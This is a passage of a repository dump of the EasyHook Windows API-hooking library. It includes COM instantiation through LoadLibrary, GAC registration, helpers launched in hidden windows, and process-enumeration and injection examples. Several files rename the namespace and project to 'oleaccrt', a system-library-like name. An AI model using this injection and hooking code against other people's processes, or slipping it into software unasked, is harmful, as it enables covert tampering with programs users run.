251 | classGuid = ClassId;
252 |
253 | Microsoft.Win32.RegistryKey rk = Microsoft.Win32.Registry.ClassesRoot.OpenSubKey("CLSID\\{" + classGuid.ToString() + "}\\InprocServer32");
254 | if (rk == null)
255 | return false;
256 | string classdllname = rk.GetValue(null).ToString();
257 | IntPtr libH = KERNEL32.GetModuleHandle(classdllname);
258 | if (libH == IntPtr.Zero)
259 | return false;
260 |
261 | return true;
262 | }
263 |
264 | private delegate int DllGetClassObjectDelegate(ref Guid ClassId, ref Guid InterfaceId, [Out, MarshalAs(UnmanagedType.Interface)] out object ppunk);
265 |
266 | [System.Security.Permissions.RegistryPermission(System.Security.Permissions.SecurityAction.Assert)]
267 | [System.Security.Permissions.SecurityPermission(System.Security.Permissions.SecurityAction.Assert, UnmanagedCode = true)]
268 | private object GetClassInstance(Guid classguid, Guid interfguid, Guid classfactoryguid, Guid classfactory2guid)
269 | {
270 | object classinstance = null;
271 |
272 | // create instance via raw dll functions
273 | // ensures we get the real vtable
274 | try
275 | {
276 | if (classinstance == null)
277 | {
278 | // Single do..while loop - to support "break;"
279 | do
280 | {
281 | Microsoft.Win32.RegistryKey rk = Microsoft.Win32.Registry.ClassesRoot.OpenSubKey("CLSID\\{" + classguid.ToString() + "}\\InprocServer32");
282 | if (rk == null)
283 | break;
284 | string classdllname = rk.GetValue(null).ToString();
285 | IntPtr libH = KERNEL32.LoadLibrary(classdllname);
286 | if (libH == IntPtr.Zero)
287 | break;
288 | IntPtr factoryFunc = KERNEL32.GetProcAddress(libH, "DllGetClassObject");
289 | if (factoryFunc == IntPtr.Zero)
290 | break;
291 | DllGetClassObjectDelegate factoryDel = (DllGetClassObjectDelegate)Marshal.GetDelegateForFunctionPointer(factoryFunc, typeof(DllGetClassObjectDelegate));
292 | object classfactoryO;
293 | // Try with IClassFactory first
294 | factoryDel(ref classguid, ref classfactoryguid, out classfactoryO);
295 | if (classfactoryO != null)
296 | {
297 | IClassFactory classfactory = (IClassFactory)classfactoryO;
298 | classfactory.CreateInstance(null, ref interfguid, out classinstance);
299 | Marshal.FinalReleaseComObject(classfactory);
300 | }
301 | else
302 | {
303 | // Now try with IClassFactory2
304 | factoryDel(ref classguid, ref classfactory2guid, out classfactoryO);
305 | if (classfactoryO == null)
306 | break;
307 | IClassFactory2 classfactory = (IClassFactory2)classfactoryO;
308 | classinstance = classfactory.CreateInstance(null, interfguid);
309 | Marshal.FinalReleaseComObject(classfactory);
310 | }
311 | } while (false);
312 | }
313 | }
314 | catch { }
315 |
316 | return classinstance;
317 | }
318 |
319 | private static class KERNEL32
320 | {
321 | [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
322 | public static extern IntPtr LoadLibrary(string lpFileName);
323 |
324 | [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
325 | public static extern IntPtr GetModuleHandle(string lpModuleName);
326 |
327 | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
328 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
329 | }
330 | }
331 |
332 | #region IClassFactory / IClassFactory2
333 | [ComImport()]
334 | [Guid("00000001-0000-0000-C000-000000000046")]
335 | [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
336 | interface IClassFactory
337 | {
338 | [return: MarshalAs(UnmanagedType.I4)]
339 | [PreserveSig]
340 | int CreateInstance(
341 | [In, MarshalAs(UnmanagedType.Interface)] object pUnkOuter,
342 | ref Guid riid,
343 | [Out, MarshalAs(UnmanagedType.Interface)] out object obj);
344 |
345 | [return: MarshalAs(UnmanagedType.I4)]
346 | [PreserveSig]
347 | int LockServer(
348 | [In] bool fLock);
349 | }
350 |
351 | [ComImport()]
352 | [Guid("B196B28F-BAB4-101A-B69C-00AA00341D07")]
353 | [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
354 | interface IClassFactory2
355 | {
356 | [return: MarshalAs(UnmanagedType.Interface)]
357 | Object CreateInstance(
358 | [In, MarshalAs(UnmanagedType.Interface)] Object unused,
359 | [In, MarshalAs(UnmanagedType.LPStruct)] Guid iid);
360 |
361 | void LockServer(Int32 fLock);
362 |
363 | IntPtr GetLicInfo(); // TODO : an enum called LICINFO
364 |
365 | [return: MarshalAs(UnmanagedType.BStr)]
366 | String RequestLicKey(
367 | [In, MarshalAs(UnmanagedType.U4)] int reserved);
368 |
369 | [return: MarshalAs(UnmanagedType.Interface)]
370 | Object CreateInstanceLic(
371 | [In, MarshalAs(UnmanagedType.Interface)] object pUnkOuter,
372 | [In, MarshalAs(UnmanagedType.Interface)] object pUnkReserved,
373 | [In, MarshalAs(UnmanagedType.LPStruct)] Guid iid,
374 | [In, MarshalAs(UnmanagedType.BStr)] string bstrKey);
375 | }
376 | #endregion
377 | }
378 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/Config.cs:
--------------------------------------------------------------------------------
1 | // EasyHook (File: EasyHook\Config.cs)
2 | //
3 | // Copyright (c) 2009 Christoph Husse & Copyright (c) 2015 Justin Stenning
4 | //
5 | // Permission is hereby granted, free of charge, to any person obtaining a copy
6 | // of this software and associated documentation files (the "Software"), to deal
7 | // in the Software without restriction, including without limitation the rights
8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | // copies of the Software, and to permit persons to whom the Software is
10 | // furnished to do so, subject to the following conditions:
11 | //
12 | // The above copyright notice and this permission notice shall be included in
13 | // all copies or substantial portions of the Software.
14 | //
15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | // THE SOFTWARE.
22 | //
23 | // Please visit https://easyhook.github.io for more information
24 | // about the project and latest updates.
25 |
26 | using System;
27 | using System.Collections.Generic;
28 | using System.Text;
29 | using System.IO;
30 | using System.Reflection;
31 | using System.Diagnostics;
32 | using System.IO.Compression;
33 | using System.Security.Cryptography;
34 |
35 | namespace oleaccrt
36 | {
37 | #pragma warning disable 0618 // obsolete
38 |
39 | ///
40 | /// Currently only provides a mechanism to register assemblies in the GAC.
41 | ///
42 | ///
43 | public class Config
44 | {
45 | private static String dependencyPath = "";
46 |
47 | ///
48 | /// The path where dependant files, like EasyHook(32|64)Svc.exe are stored.
49 | /// Defaults to no path being specified.
50 | ///
51 | public static String DependencyPath
52 | {
53 | get
54 | {
55 | if (dependencyPath.Length > 0 && !dependencyPath.EndsWith("\\"))
56 | {
57 | dependencyPath += "\\";
58 | }
59 |
60 | return dependencyPath;
61 | }
62 | set
63 | {
64 | dependencyPath = value;
65 | }
66 | }
67 |
68 | private static String helperLibraryLocation = "";
69 |
70 | ///
71 | /// The path where helper files, like EasyHook(32|64).dll are stored.
72 | /// Defaults to the location of the assembly containing the Config type
73 | ///
74 | public static String HelperLibraryLocation
75 | {
76 | get
77 | {
78 | if(String.IsNullOrEmpty(helperLibraryLocation))
79 | {
80 | return Path.GetDirectoryName(typeof(Config).Assembly.Location);
81 | }
82 |
83 | if (helperLibraryLocation.Length > 0 && !helperLibraryLocation.EndsWith("\\"))
84 | {
85 | helperLibraryLocation += "\\";
86 | }
87 |
88 | return helperLibraryLocation;
89 | }
90 | set
91 | {
92 | helperLibraryLocation = value;
93 | }
94 | }
95 |
96 | ///
97 | /// Get the directory name of the current process, ending with a backslash.
98 | ///
99 | /// Directory name of the current process
100 | public static String GetProcessPath()
101 | {
102 | return Path.GetDirectoryName(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName) + "\\";
103 | }
104 |
105 | ///
106 | /// Get the name of the EasyHook SVC executable.
107 | /// Automatically determine whether to use the 64-bit or the 32-bit version.
108 | ///
109 | /// Executable name
110 | public static String GetSvcExecutableName()
111 | {
112 | return "EasyHook" + (NativeAPI.Is64Bit ? "64" : "32") + "Svc.exe";
113 | }
114 |
115 | ///
116 | /// Get the name of the EasyHook SVC executable to use for WOW64 bypass.
117 | /// If this process is 64-bit, return the 32-bit service executable and vice versa.
118 | ///
119 | ///
120 | public static String GetWOW64BypassExecutableName()
121 | {
122 | return "EasyHook" + (NativeAPI.Is64Bit ? "32" : "64") + "Svc.exe";
123 | }
124 |
125 | ///
126 | /// Get the EasyHook SVC executable name with the custom dependency path prepended.
127 | ///
128 | /// Full path to the executable
129 | public static String GetDependantSvcExecutableName()
130 | {
131 | return DependencyPath + GetSvcExecutableName();
132 | }
133 |
134 | ///
135 | /// REQUIRES ADMIN PRIVILEGES. Installs EasyHook and all given user NET assemblies into the GAC and
136 | /// ensures that all references are cleaned up if the installing application
137 | /// is shutdown. Cleanup does not depend on the calling application...
138 | ///
139 | ///
140 | ///
141 | /// ATTENTION: There are some problems when debugging processes whose libraries
142 | /// are added to the GAC. Visual Studio won't start the debug session! There is
143 | /// only one chance for you to workaround this issue if you want to install
144 | /// libraries AND debug them simultanously. This is simply to debug only one process
145 | /// which is the default setting of Visual Studio. Because the libraries are added
146 | /// to the GAC AFTER Visual Studio has initialized the debug session, there won't be
147 | /// any conflicts; at least so far...
148 | ///
149 | /// In debug versions of EasyHook, you may also check the "Application" event log, which holds additional information
150 | /// about the GAC registration, after calling this method. In general this method works
151 | /// transactionally. This means if something goes wrong, the GAC state of all related libraries
152 | /// won't be violated!
153 | ///
154 | /// The problem with NET assemblies is that the CLR only searches the GAC and
155 | /// directories starting with the application base directory for assemblies.
156 | /// To get injected assemblies working either all of them have to be located
157 | /// under the target base directory (which is not suitable in most cases) or
158 | /// reside in the GAC.
159 | ///
160 | /// EasyHook provides a way to automatically register all of its own assemblies
161 | /// and custom ones temporarily in the GAC. It also ensures
162 | /// that all of these assemblies are removed if the installing process exists.
163 | /// So you don't need to care about and may write applications according to
164 | /// the XCOPY standard. If your application ships with an installer, you may
165 | /// statically install all of your assemblies and the ones of EasyHook into the
166 | /// GAC. In this case just don't call .
167 | ///
168 | /// Of course EasyHook does also take care of multiple processes using the same
169 | /// injection libraries. So if two processes are sharing some of those DLLs,
170 | /// a stable reference counter ensures that the libraries are kept in the GAC
171 | /// if one process is terminated while the other continues running and so continues
172 | /// holding a proper GAC reference.
173 | ///
174 | /// Please note that in order to add your library to the GAC, it has to be a valid
175 | /// NET assembly and expose a so called "Strong Name". Assemblies without a strong
176 | /// name will be rejected by this method!
177 | ///
178 | ///
179 | ///
180 | /// A description under which the installed files should be referenced.
181 | ///
182 | ///
183 | /// A list of user assemblies as relative or absolute paths.
184 | ///
185 | ///
186 | /// At least one of the files specified could not be found!
187 | ///
188 | ///
189 | /// Unable to load at least one of the given files for reflection.
190 | ///
191 | ///
192 | /// At least one of the given files does not have a strong name.
193 | ///
194 | public static void Register(
195 | String InDescription,
196 | params String[] InUserAssemblies)
197 | {
198 | List AsmList = new List();
199 | String RemovalList = "";
200 | List InstallList = new List();
201 |
202 | /*
203 | * Read and validate config file...
204 | */
205 | List Files = new List();
206 |
207 | Files.Add(typeof(Config).Assembly.Location);
208 |
209 | Files.AddRange(InUserAssemblies);
210 |
211 | for (int i = 0; i < Files.Count; i++)
212 | {
213 | Assembly Entry;
214 | String AsmPath = Path.GetFullPath(Files[i]);
215 |
216 | if (!File.Exists(AsmPath))
217 | throw new System.IO.FileNotFoundException("The given assembly \"" + Files[i] + "\" (\"" + AsmPath + "\") does not exist.");
218 |
219 | // just validate that this is a NET assembly with valid metadata...
220 | try { Entry = Assembly.ReflectionOnlyLoadFrom(AsmPath); }
221 | catch (Exception ExtInfo)
222 | {
223 | throw new BadImageFormatException("Unable to load given assembly \"" + Files[i] + "\" (\"" + AsmPath +
224 | "\") for reflection. Is this a valid NET assembly?", ExtInfo);
225 | }
226 |
227 | // is strongly named? (required for GAC)
228 | AssemblyName Name = AssemblyName.GetAssemblyName(AsmPath);
229 |
230 | if ((Name.Flags & AssemblyNameFlags.PublicKey) == 0)
231 | throw new ArgumentException("The given user library \"" + Files[i] + "\" is not strongly named!");
232 |
233 | AsmList.Add(Entry);
234 | InstallList.Add(AsmPath);
235 |
236 | RemovalList += " \"" + Name.Name + "\"";
237 | }
238 |
239 | /*
240 | * Install assemblies into GAC ...
241 | */
242 |
243 | // create unique installation identifier
244 | Byte[] IdentData = new Byte[30];
245 |
246 | new RNGCryptoServiceProvider().GetBytes(IdentData);
247 |
248 | // run cleanup service
249 | InDescription = InDescription.Replace('"', '\'');
250 |
251 | Config.RunCommand(
252 | "GACRemover", false, false, Config.GetDependantSvcExecutableName(), Process.GetCurrentProcess().Id.ToString() + " \"" +
253 | Convert.ToBase64String(IdentData) + "\" \"" + InDescription + "\"" + RemovalList);
254 |
255 | // install assemblies
256 | NativeAPI.GacInstallAssemblies(
257 | InstallList.ToArray(),
258 | InDescription,
259 | Convert.ToBase64String(IdentData));
260 |
261 | }
262 |
263 | #pragma warning disable 1591
264 |
265 | [Obsolete("This method is exported for internal use only.")]
266 | public static void PrintError(String InMessage, params object[] InParams)
267 | {
268 | DebugPrint(EventLogEntryType.Error, InMessage, InParams);
269 | }
270 |
271 | [Obsolete("This method is exported for internal use only.")]
272 | public static void PrintWarning(String InMessage, params object[] InParams)
273 | {
274 | DebugPrint(EventLogEntryType.Warning, InMessage, InParams);
275 | }
276 |
277 | [Obsolete("This method is exported for internal use only.")]
278 | public static void PrintComment(String InMessage, params object[] InParams)
279 | {
280 | DebugPrint(EventLogEntryType.Information, InMessage, InParams);
281 | }
282 |
283 | [Obsolete("This method is exported for internal use only.")]
284 | public static void DebugPrint(EventLogEntryType InType, String InMessage, params object[] InParams)
285 | {
286 | String Entry = String.Format(InMessage, InParams);
287 |
288 | switch (InType)
289 | {
290 | case EventLogEntryType.Error: Entry = "[error]: " + Entry; break;
291 | case EventLogEntryType.Information: Entry = "[comment]: " + Entry; break;
292 | case EventLogEntryType.Warning: Entry = "[warning]: " + Entry; break;
293 | }
294 |
295 | try
296 | {
297 | try
298 | {
299 | // Attempt to create the Event Source
300 | if (!EventLog.SourceExists("EasyHook"))
301 | {
302 | EventLog.CreateEventSource("EasyHook", "Application");
303 | }
304 | }
305 | catch
306 | {
307 | }
308 | {
309 | #if !DEBUG
310 | if(InType == EventLogEntryType.Error)
311 | #endif
312 | EventLog.WriteEntry("EasyHook", Entry, InType);
313 | }
314 | }
315 | catch
316 | {
317 | }
318 |
319 | #if DEBUG
320 | Console.WriteLine(Entry);
321 | #endif
322 | }
323 |
324 | [Obsolete("This method is exported for internal use only.")]
325 | public static void RunCommand(
326 | String InFriendlyName,
327 | Boolean InWaitForExit,
328 | Boolean InShellExecute,
329 | String InPath,
330 | String InArguments)
331 | {
332 | InPath = Path.GetFullPath(InPath);
333 |
334 | Process Proc = new Process();
335 | ProcessStartInfo StartInfo = new ProcessStartInfo(InPath, InArguments);
336 |
337 | if (InShellExecute && InWaitForExit)
338 | throw new ArgumentException("It is not supported to execute in shell and wait for termination!");
339 |
340 | StartInfo.RedirectStandardOutput = !InShellExecute;
341 | StartInfo.UseShellExecute = InShellExecute;
342 | StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
343 | StartInfo.CreateNoWindow = true;
344 | StartInfo.WorkingDirectory = Path.GetDirectoryName(InPath);
345 |
346 | Proc.StartInfo = StartInfo;
347 |
348 | try
349 | {
350 | if (!Proc.Start())
351 | throw new Exception();
352 | }
353 | catch (Exception ExtInfo)
354 | {
355 | throw new ApplicationException("Unable to run internal command.", ExtInfo);
356 | }
357 |
358 | if (InWaitForExit)
359 | {
360 | if (!Proc.WaitForExit(5000))
361 | {
362 | Proc.Kill();
363 |
364 | throw new ApplicationException("Unable to run internal command.");
365 | }
366 |
367 | // save to log entry
368 | String Output = Proc.StandardOutput.ReadToEnd();
369 |
370 | PrintComment("[" + InFriendlyName + "]: " + Output);
371 | }
372 | }
373 |
374 | #pragma warning restore 1591
375 |
376 | }
377 | }
378 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/Debugging.cs:
--------------------------------------------------------------------------------
1 | // EasyHook (File: EasyHook\Debugging.cs)
2 | //
3 | // Copyright (c) 2009 Christoph Husse & Copyright (c) 2015 Justin Stenning
4 | //
5 | // Permission is hereby granted, free of charge, to any person obtaining a copy
6 | // of this software and associated documentation files (the "Software"), to deal
7 | // in the Software without restriction, including without limitation the rights
8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | // copies of the Software, and to permit persons to whom the Software is
10 | // furnished to do so, subject to the following conditions:
11 | //
12 | // The above copyright notice and this permission notice shall be included in
13 | // all copies or substantial portions of the Software.
14 | //
15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | // THE SOFTWARE.
22 | //
23 | // Please visit https://easyhook.github.io for more information
24 | // about the project and latest updates.
25 |
26 | using System;
27 | using System.Collections.Generic;
28 | using System.Text;
29 | using System.Runtime.InteropServices;
30 | using System.Runtime.ConstrainedExecution;
31 | using System.Diagnostics;
32 |
33 | namespace oleaccrt
34 | {
35 | public partial class LocalHook
36 | {
37 | ///
38 | /// RIP relocation is disabled by default. If you want to enable it,
39 | /// just call this method which will attach a debugger to the current
40 | /// process. There may be circumstances under which this might fail
41 | /// and this is why it is not done by default. On 32-Bit system this
42 | /// method will always succeed and do nothing...
43 | ///
44 | public static void EnableRIPRelocation()
45 | {
46 | NativeAPI.DbgAttachDebugger();
47 | }
48 |
49 | ///
50 | /// Tries to get the underlying thread ID for a given handle.
51 | ///
52 | ///
53 | /// This is not always possible. The handle has to be opened with THREAD_QUERY_INFORMATION
54 | /// access.
55 | ///
56 | /// A valid thread handle.
57 | /// A valid thread ID associated with the given thread handle.
58 | ///
59 | /// The given handle was not opened with THREAD_QUERY_INFORMATION access.
60 | ///
61 | /// The handle is invalid.
62 | ///
63 | ///
64 | /// Should never occur and just notifies you that a handle to thread ID conversion is not
65 | /// available on the current platform.
66 | ///
67 | public static Int32 GetThreadIdByHandle(IntPtr InThreadHandle)
68 | {
69 | Int32 Result;
70 |
71 | NativeAPI.DbgGetThreadIdByHandle(InThreadHandle, out Result);
72 |
73 | return Result;
74 | }
75 |
76 | ///
77 | /// Tries to get the underlying process ID for a given handle.
78 | ///
79 | ///
80 | /// This is not always possible. The handle has to be opened with PROCESS_QUERY_INFORMATION
81 | /// access.
82 | ///
83 | /// A valid process handle.
84 | /// A valid process ID associated with the given process handle.
85 | ///
86 | /// The given handle was not opened with PROCESS_QUERY_INFORMATION access.
87 | ///
88 | /// The handle is invalid.
89 | ///
90 | ///
91 | /// Should never occur and just notifies you that a handle to thread ID conversion is not
92 | /// available on the current platform.
93 | ///
94 | public static Int32 GetProcessIdByHandle(IntPtr InProcessHandle)
95 | {
96 | Int32 Result;
97 |
98 | NativeAPI.DbgGetProcessIdByHandle(InProcessHandle, out Result);
99 |
100 | return Result;
101 | }
102 |
103 | [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
104 | private class UNICODE_STRING
105 | {
106 | public Int16 Length;
107 | public Int16 MaximumLength;
108 | public String Buffer;
109 | }
110 |
111 | internal class NameBuffer : CriticalFinalizerObject
112 | {
113 | public IntPtr Buffer;
114 | public Int32 Size;
115 |
116 | public NameBuffer()
117 | {
118 | Size = 0;
119 | Buffer = Marshal.AllocCoTaskMem(0);
120 | }
121 |
122 | public void Alloc(Int32 InDesiredSize)
123 | {
124 | IntPtr Tmp;
125 |
126 | if (InDesiredSize < Size)
127 | return;
128 |
129 | if ((Tmp = Marshal.ReAllocCoTaskMem(Buffer, InDesiredSize)) == IntPtr.Zero)
130 | throw new OutOfMemoryException("Unable to allocate unmanaged memory.");
131 |
132 | Buffer = Tmp;
133 | Size = InDesiredSize;
134 | }
135 |
136 | ~NameBuffer()
137 | {
138 | if(Buffer != IntPtr.Zero)
139 | Marshal.FreeCoTaskMem(Buffer);
140 |
141 | Buffer = IntPtr.Zero;
142 | }
143 | }
144 | private static NameBuffer Buffer = new NameBuffer();
145 |
146 | ///
147 | /// Reads the kernel object name for a given windows usermode handle.
148 | /// Executes in approx. 100 micro secounds.
149 | ///
150 | ///
151 | /// This allows you to translate a handle back to the associated filename for example.
152 | /// But keep in mind that such names are only valid for kernel service routines, like
153 | /// NtCreateFile. You won't have success when calling CreateFile on such
154 | /// object names! The regular windows user mode API has some methods that will allow
155 | /// you to convert such kernelmode names back into usermode names. I know this because I did it
156 | /// some years ago but I've already forgotten how it has to be done! I can only give you
157 | /// some hints: FindFirstVolume(), FindFirstVolumeMountPoint(),
158 | /// QueryDosDevice(), GetVolumePathNamesForVolumeName()
159 | ///
160 | /// A valid usermode handle.
161 | ///
162 | /// The kernel object name associated with the given handle.
163 | ///
164 | /// The given handle is invalid or could not be accessed for unknown reasons.
165 | ///
166 | public static String GetNameByHandle(IntPtr InHandle)
167 | {
168 | Int32 RequiredSize;
169 |
170 | NativeAPI.DbgHandleToObjectName(
171 | InHandle,
172 | IntPtr.Zero,
173 | 0,
174 | out RequiredSize);
175 |
176 |
177 | lock (Buffer)
178 | {
179 | Buffer.Alloc(RequiredSize + 1);
180 |
181 | NativeAPI.DbgHandleToObjectName(
182 | InHandle,
183 | Buffer.Buffer,
184 | RequiredSize,
185 | out RequiredSize);
186 |
187 | UNICODE_STRING Result = new UNICODE_STRING();
188 |
189 | Marshal.PtrToStructure(Buffer.Buffer, Result);
190 |
191 | return Result.Buffer;
192 | }
193 | }
194 | }
195 | }
196 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/Domain/DomainIdentifier.cs:
--------------------------------------------------------------------------------
1 | /*
2 | EasyHook - The reinvention of Windows API hooking
3 |
4 | Copyright (C) 2009-2010 EasyHook
5 |
6 | This library is free software; you can redistribute it and/or
7 | modify it under the terms of the GNU Lesser General Public
8 | License as published by the Free Software Foundation; either
9 | version 2.1 of the License, or (at your option) any later version.
10 |
11 | This library is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
14 | Lesser General Public License for more details.
15 |
16 | You should have received a copy of the GNU Lesser General Public
17 | License along with this library; if not, write to the Free Software
18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
19 |
20 | Please visit http://www.codeplex.com/easyhook for more information
21 | about the project and latest updates.
22 | */
23 |
24 | using System;
25 | using System.Diagnostics;
26 |
27 | namespace EasyHook.Domain
28 | {
29 | ///
30 | /// Provides a system wide unique identifier for an application domain.
31 | ///
32 | [Serializable]
33 | public struct DomainIdentifier : IEquatable
34 | {
35 |
36 | #region Properties
37 |
38 | ///
39 | /// Gets or sets the ID of the application domain.
40 | ///
41 | public int DomainId { get; set; }
42 | ///
43 | /// Gets or sets the ID of the process.
44 | ///
45 | public int ProcessId { get; set; }
46 |
47 | #endregion
48 |
49 | #region Public Methods
50 |
51 | ///
52 | /// Returns the identifier as a string.
53 | ///
54 | ///
55 | public override string ToString()
56 | {
57 | return ProcessId + "." + DomainId;
58 | }
59 |
60 | #endregion
61 |
62 | #region Public Static Methods
63 |
64 | ///
65 | /// Gets a new which identifies the current application domain.
66 | ///
67 | ///
68 | public static DomainIdentifier GetLocalDomainIdentifier()
69 | {
70 | return new DomainIdentifier
71 | {
72 | DomainId = AppDomain.CurrentDomain.Id,
73 | ProcessId = Process.GetCurrentProcess().Id
74 | };
75 | }
76 |
77 | #endregion
78 |
79 | #region IEquatable Members
80 |
81 | ///
82 | /// Indicates whether the current is equal to the .
83 | ///
84 | ///
85 | ///
86 | public bool Equals(DomainIdentifier other)
87 | {
88 | return ProcessId == other.ProcessId && DomainId == other.DomainId;
89 | }
90 |
91 | #endregion
92 |
93 | }
94 | }
95 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/EasyHook.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30503.244
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "oleaccrt", "oleaccrt.csproj", "{AB53862B-3B5C-4EFC-9787-1F01199EBFBF}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | netfx3.5-Debug|Any CPU = netfx3.5-Debug|Any CPU
11 | netfx3.5-Release|Any CPU = netfx3.5-Release|Any CPU
12 | netfx4-Debug|Any CPU = netfx4-Debug|Any CPU
13 | netfx4-Release|Any CPU = netfx4-Release|Any CPU
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {AB53862B-3B5C-4EFC-9787-1F01199EBFBF}.netfx3.5-Debug|Any CPU.ActiveCfg = netfx3.5-Debug|Any CPU
17 | {AB53862B-3B5C-4EFC-9787-1F01199EBFBF}.netfx3.5-Debug|Any CPU.Build.0 = netfx3.5-Debug|Any CPU
18 | {AB53862B-3B5C-4EFC-9787-1F01199EBFBF}.netfx3.5-Release|Any CPU.ActiveCfg = netfx3.5-Release|Any CPU
19 | {AB53862B-3B5C-4EFC-9787-1F01199EBFBF}.netfx3.5-Release|Any CPU.Build.0 = netfx3.5-Release|Any CPU
20 | {AB53862B-3B5C-4EFC-9787-1F01199EBFBF}.netfx4-Debug|Any CPU.ActiveCfg = netfx4-Debug|Any CPU
21 | {AB53862B-3B5C-4EFC-9787-1F01199EBFBF}.netfx4-Debug|Any CPU.Build.0 = netfx4-Debug|Any CPU
22 | {AB53862B-3B5C-4EFC-9787-1F01199EBFBF}.netfx4-Release|Any CPU.ActiveCfg = netfx4-Release|Any CPU
23 | {AB53862B-3B5C-4EFC-9787-1F01199EBFBF}.netfx4-Release|Any CPU.Build.0 = netfx4-Release|Any CPU
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {425E4169-33DE-42F1-93A1-B5F9CB7C29BB}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/ExecuteAsService.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
29 |
30 |
31 |
32 | private static void OnProcessUpdate(Object InCallback)
33 | {
34 | ProcessTimer.Change(Timeout.Infinite, Timeout.Infinite);
35 |
36 | try
37 | {
38 | ProcessInfo[] Array = (ProcessInfo[])RemoteHooking.ExecuteAsService<Form1>("EnumProcesses");
39 | SortedDictionary<String, ProcessInfo> Result = new SortedDictionary<string, ProcessInfo>();
40 |
41 | // sort by name...
42 | lock (ProcessList)
43 | {
44 | ActivePIDList.Clear();
45 |
46 | for (int i = 0; i < Array.Length; i++)
47 | {
48 | Result.Add(System.IO.Path.GetFileName(Array[i].FileName) + "____" + i, Array[i]);
49 |
50 | ActivePIDList.Add(Array[i].Id);
51 | }
52 |
53 | Result.Values.CopyTo(Array, 0);
54 |
55 | ProcessList.Clear();
56 |
57 | ProcessList.AddRange(Array);
58 | }
59 | }
60 | catch (AccessViolationException)
61 | {
62 | MessageBox.Show("This is an administrative task!", "Permission denied...", MessageBoxButtons.OK);
63 |
64 | Process.GetCurrentProcess().Kill();
65 | }
66 | finally
67 | {
68 | ProcessTimer.Change(5000, 5000);
69 | }
70 | }
71 |
72 | [Serializable]
73 | public class ProcessInfo
74 | {
75 | public String FileName;
76 | public Int32 Id;
77 | public Boolean Is64Bit;
78 | public String User;
79 | }
80 |
81 | public static ProcessInfo[] EnumProcesses()
82 | {
83 | List<ProcessInfo> Result = new List<ProcessInfo>();
84 | Process[] ProcList = Process.GetProcesses();
85 |
86 | for (int i = 0; i < ProcList.Length; i++)
87 | {
88 | Process Proc = ProcList[i];
89 |
90 | try
91 | {
92 | ProcessInfo Info = new ProcessInfo();
93 |
94 | Info.FileName = Proc.MainModule.FileName;
95 | Info.Id = Proc.Id;
96 | Info.Is64Bit = RemoteHooking.IsX64Process(Proc.Id);
97 | Info.User = RemoteHooking.GetProcessIdentity(Proc.Id).Name;
98 |
99 | Result.Add(Info);
100 | }
101 | catch
102 | {
103 | }
104 | }
105 |
106 | return Result.ToArray();
107 | }
108 |
109 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/FileMonHost.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
29 |
30 |
31 | The following demonstrates how to use and :
32 |
33 | using System;
34 | using System.Collections.Generic;
35 | using System.Runtime.Remoting;
36 | using System.Text;
37 | using System.IO;
38 | using EasyHook;
39 |
40 | namespace FileMon
41 | {
42 | public class FileMonInterface : MarshalByRefObject
43 | {
